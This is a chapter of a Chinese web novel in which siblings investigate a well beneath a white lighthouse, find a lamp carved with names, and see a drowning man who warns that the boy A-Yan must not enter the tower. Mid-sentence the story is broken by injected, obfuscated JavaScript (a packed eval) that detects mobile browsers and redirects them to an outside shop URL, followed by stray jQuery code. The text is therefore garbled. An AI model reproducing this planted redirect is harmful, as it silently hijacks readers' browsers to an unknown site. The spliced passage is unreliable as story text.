地窖里安静了片刻。
阿砚抱着膝盖坐在草席上，手里的木牌被捏得发白。那块木牌边缘已经磨得圆润，显然被他摸过很多次。
沈见微先忍不住：“死人还会记得自己是谁？”
顾长川把那片白鳞放在灯边。
“我没看清全貌。”他说，“井壁很滑，水也黑。有人从水里抬头看我，像是想说话。我听见他报了自己的名字。”
“叫什么？”
“太快，没记住。”
顾长舟拿起鳞片闻了闻，手指停在边缘一行小字上。
“这不是鱼鳞。”
“那是什么？”
“灯罩上的碎片。”他说，“里面掺了云母和骨粉。白灯塔底下应该有一层水窖，水窖里泡着许多旧灯。”
沈见微听得脸都皱起来：“你怎么一闻就知道？”
“因为药房以前用云母磨粉，敷烫伤。”顾长舟把鳞片放回桌上，“骨粉不是人的，至少不是新鲜的。”
这话并没有让人安心多少。
阿砚忽然站起来，从墙角翻出一只旧竹篓。竹篓里装着几截短绳、一把生锈的小钩子，还有一盏被布包起来的灯。
“娘亲以前下过井。”他说。
顾栖灯接过那盏灯。
灯很小，白瓷烧得粗糙，底部有一道被火熏黑的裂缝。里面没有灯油，只有半盏干掉的墨。
“这是她的？”
阿砚点头。
“她说井里的人怕忘记名字，让我每天写一个名字进去。”
顾栖灯把灯翻过来。
灯底密密麻麻刻了许多字，最上头的字迹端正，后面越来越潦草，像是在很仓促的时候刻下来的。
曲水守灯人，沈兰烛。
阿兰。
杜明河。
林娘子。
……
后面的字被磨平了大半。
顾栖灯盯着第一个名字看了很久。
顾长川没有催她，只把灯从她手里接过去，替她擦掉灯沿上的灰。他的手腕缠着新换的纱布，动作不太利索，擦了两下，便把布递给顾栖灯。
顾栖灯接过。
“我娘来过这里。”
“嗯。”
“她和阿兰认识。”
“至少见过。”
阿砚听见自己的母亲名字，凑过来问：“她们是朋友吗？”
顾栖灯没有立刻说是。
“我还不知道。”她把小灯放回竹篓，“但她们都做过同一件事。”
“什么？”
“想让人记住自己。”
阿砚若有所思地低下头。
地窖外有水滴落下来，滴答，滴答。天快黑了，白灯塔方向的钟声隔着几条街传进来，沉沉的，像有人把一只空碗扣在桌上。
阿砚脸色一变。
“要换灯水了。”
“每天都有这时候？”顾栖灯问。
“嗯。天黑以后，塔里的人会把白灯拿出来换水。井口那边的人也会少一点。”
顾长川已经把短刀别回腰间。
“我再去看一眼。”
顾栖灯抬头。
他顿了顿，说得比平时慢些：“你们就在这里。井口若有人，我回来；没人，我给你留两短一长。”
“我跟你去。”
“井边地方窄。”
“我不下水。”
顾长川看着她，显然还想再说什么。沈见微在一旁咳了一声，顾长舟低头整理药包，装作没听见。
最后顾长川只道：“跟在我后面。”
“好。”
两人出了地窖。
曲水的夜来得很快。白灯一盏接一盏亮在檐下，街上的人端着水碗往灯塔走。没人说话，脚步却很整齐，鞋底擦过青石板，像一阵细碎的雨。
顾栖灯和顾长川贴着墙根走。
走到塔后时，前方果然有一口井。
井口砌得很高，围了一圈白石。石缝里长满黑苔，几根白线垂进井里，风一吹就轻轻晃。
顾长川先蹲下去，往井里丢了一粒石子。
很久才听见落水声。
“深吗？”顾栖灯问。
“比我刚才看的深。”
“刚才是从哪里看的？”
“西边的排水沟。”
“你没说。”
“我回来得太快。”
顾栖灯看了他一眼。
顾长川知道她在介意什么，低声说：“下次说。”
井下忽然传来一声咳嗽。
两人同时静住。
那声音很轻，像呛了水，又像有人很久没开口，嗓子已经哑了。
顾栖灯走到井边，往下看。
白灯的光照不进深处。她只能看见井壁上潮湿的青苔，看见水面极远处浮着一点白。
“有人吗？”她问。
没有回答。
顾栖灯想了想，从袖中摸出炭笔。她没有纸，便撕下一截衣角，在上面写了几个字：
我们从临江来。
阿砚还记得阿兰。
她把布条系在绳子上，慢慢放下去。
绳子放到一半，忽然被人拽住。
顾长川伸手按住她的手背，示意她别急。
井下的人没有立刻拉走布条。
过了一会儿，绳子轻轻动了三下。
顾栖灯往回收。
布条上多了一行湿漉漉的字，墨迹被水晕开，几乎认不清。
别让阿砚进塔。
顾栖灯的心往下一沉。
她刚要再问，井里传来急促的水声。水面像被什么搅动，白线一齐绷紧。顾长川一把将她拉离井口。
下一刻，一张苍白的脸从水里浮了上来。
那是个中年男人。
他双眼睁着，脸上却没有死气。他张了张口，像想喊什么，喉咙里只涌出黑水。
白线缠在他脖子上，慢慢将他往下拖。
顾栖灯下意识要上前。
顾长川拦住她：“别碰。”
男人在下沉前，手从水面伸出来，指向白灯塔。
他的手背上，也写着字。
塔底。
他沉下去后，井水很快恢复平静。
像什么都没发生过。
顾栖灯站在原地，手里还攥着湿透的布条。
“他活着。”她说。
“嗯。”
“他为什么说不了话？”
“灯水进了肺里，或者白线压着喉咙。”顾长川道，“不管是哪一种，他撑不了多久。”
顾栖灯没有说话。
远处钟声又响了一下。
送灯水的人已经走到塔前。白灯塔底部开了一道小门，穿白衣的人从里面出来，一盏盏收走水碗。
顾长川盯着那道门。
“现在进不去。”
“我知道。”
“塔底有水窖。”
“我知道。”
“栖灯。”
顾栖灯转头。
顾长川的脸被白灯照得很淡。他没有说“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968857|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
别去”，也没有替她做判断，只道：“阿砚不能进去。”
“我不会带他。”
“那你呢？”
顾栖灯沉默片刻。
“我得去。”
“好。”
他答得很快。
顾栖灯反而愣住。
顾长川解释了一句：“不是现在。等换灯的人散了，我们从井里下去。”
“你也去？”
“你不是说，多带绳子，多留退路。”
顾栖灯看着他。
“我记得。”
两人回到地窖时，阿砚正趴在墙边写字。
他把自己的名字又写了一遍，写完以后想了想，在旁边添了一句：
阿砚不进塔。
顾栖灯走过去，蹲在他身边。
“这是给谁看的？”
“给明天的我看。”阿砚认真道，“也给我娘看。她要是看见，就知道我听话了。”
顾栖灯喉咙有些发紧。
她伸手把阿砚写歪的最后一笔补好。
“你娘也给我们留话了。”
阿砚抬头。
“她说，别让你进塔。”
“那她呢？”
顾栖灯没有骗他。
“她在里面。我们去找她。”
阿砚的眼眶一下红了。
“我想去。”
“我知道。”
“我不会捣乱。”
“我也知道。”
顾栖灯握住他的手。
“可你留在这里，才能替她记着外头的事。等她出来，你要告诉她，这几天你怎么给我们开门，怎么记住自己的名字，怎么没有被白灯骗走。”
阿砚吸了吸鼻子。
“我能记住吗？”
“能。”
顾栖灯把自己的铜灯放在他面前。
“你若忘了，就看它。里面的灯芯会记得。”
阿砚小心翼翼地碰了碰铜灯，没有再说要去。
顾长舟已经把药包分好。
“井下缺氧，水又冷。这个含在舌下，能撑一会儿；这个撒进水里，白线会松半刻钟。别多，药味太重会惊动塔里的人。”
沈见微把短刃绑在腿侧，问：“我呢？”
“你跟二哥留在井上。”顾栖灯道，“我们若半刻钟没动静，就用绳子拉三下，立刻把人往上拽。”
沈见微不太高兴：“我也能下去。”
“我知道。但上面也要有人。”
沈见微看了她一会儿，最终点头。
“行。你别给我逞强。”
“彼此彼此。”
夜更深时，曲水城终于安静下来。
白灯仍挂在城里，却少了白日那种无处不在的脚步声。顾栖灯和顾长川带着绳子回到井边。
井里黑得看不见底。
顾长川先把绳子缠到腰上，低头试了试结。
“我先下。”
顾栖灯没有和他争。
她只是把另一端绳子也系在自己腰间。
顾长川抬眼。
“你不是说不下水？”
“我改主意了。”
“理由？”
“塔底有人等。”
顾长川看着她，没再劝。
他把药丸递到她掌心，又替她把袖口绑紧。动作很轻，指尖却有些凉。
“跟紧我。”
顾栖灯点头。
井下的水声很轻。
像有人在黑暗里，一遍又一遍地念着自己的名字。